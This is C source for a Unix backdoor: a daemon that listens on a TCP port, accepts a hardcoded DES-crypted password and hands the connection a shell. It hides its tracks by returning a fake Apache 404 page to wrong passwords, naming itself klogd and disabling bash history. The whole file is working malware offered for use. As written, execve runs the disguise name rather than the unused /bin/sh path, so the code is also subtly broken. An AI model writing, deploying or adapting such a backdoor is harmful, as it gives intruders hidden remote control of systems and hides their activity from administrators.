#define _XOPEN_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <string.h>

#define DEFAULT_PORT 8080
/* des crypted password */
#define PWD "QXtGlGiFUEeKY"

void sig_hand(int sig) {
        int status;
                /* rip off children */
        while(waitpid(-1,&status,WNOHANG)>0);

}

/* we hide ourselves as httpd daemon */
char *erro=
"HTTP/1.1 404 Not Found\n"
"Date: Mon, 08 Dec 1998 23:17:15 GMT\n"
"Server: Apache/1.3.X (Unix)\n"
"Connection: close\n"
"Content-Type: text/html\n\n"
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n"
"<HTML><HEAD>\n"
"<TITLE>404 Not Found</TITLE>\n"
"</HEAD><BODY>\n"
"<H1>Not Found</H1>\n"
"The requested URL /loha was not found on this server.<P>\n"
"<HR>\n"
"<ADDRESS>Apache/1.3.X Server at yourserver Port 80</ADDRESS>\n"
"</BODY></HTML>\n";

void my_error(int fd) {
        write(fd,erro,strlen(erro));
}

int main(int argc,char **argv)
{
        char *name[3];
	char *env[2];
	char *execname;
        int fd,fd2,fromlen;
        int port;
        struct sockaddr_in serv;
        char *crypted=PWD;
        unsigned char *ptr;
        char pass[9];

        port=DEFAULT_PORT;
        if (argc>1 && atoi(argv[1])) port=atoi(argv[1]);
#ifndef DEBUG
        if (fork()) exit(1);
        close(0);
        close(1);
        close(2);
        chdir("/");
        setsid();
#endif
        signal(SIGCHLD,sig_hand);
        
        if((fd=socket(AF_INET,SOCK_STREAM,0))<0) {
#ifdef DEBUG
                perror("socket");
#endif
                exit(1);
        }
        serv.sin_addr.s_addr=0;
        serv.sin_port=htons(port);
        serv.sin_family=AF_INET;

        if(bind(fd,(struct sockaddr *)&serv,16)) {
#ifdef DEBUG
                perror("bind");
#endif
                exit(1);
        }

        if(listen(fd,5)) {
#ifdef DEBUG
                perror("listen");
                exit(1);
#endif
        }

        for(;;) {
                fromlen=16; /*(sizeof(struct sockaddr)*/
                fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
                if (fd2<0) continue;

                if (fork()) { /* parent */
                             close(fd2);
                } else {
                        close(fd);
                        bzero(pass,9);
                        read(fd2,pass,8);
                        for(ptr=pass;*ptr!=0;ptr++)
                                if(*ptr<32) *ptr=0;
                        if (strcmp(crypt(pass,crypted),crypted)) {
                                my_error(fd2);
                                exit(1);
                        }
                        dup2(fd2,0);
                        dup2(fd2,1);
                        dup2(fd2,2);
                        execname="/bin/sh";
                        name[0]="/sbin/klogd";
                        /* gives somewhat nicer appearence */
                        name[1]="-i";
                        name[2]=NULL;
                        /* if the actual /bin/sh is bash
                         * we need this to get rid saving stuff into
                         * .bash_history file
                         */
                        env[0]="HISTFILE=/dev/null";
                        env[1]=NULL;
                        execve(name[0],name,env);
                        exit(1);
                }
        }
}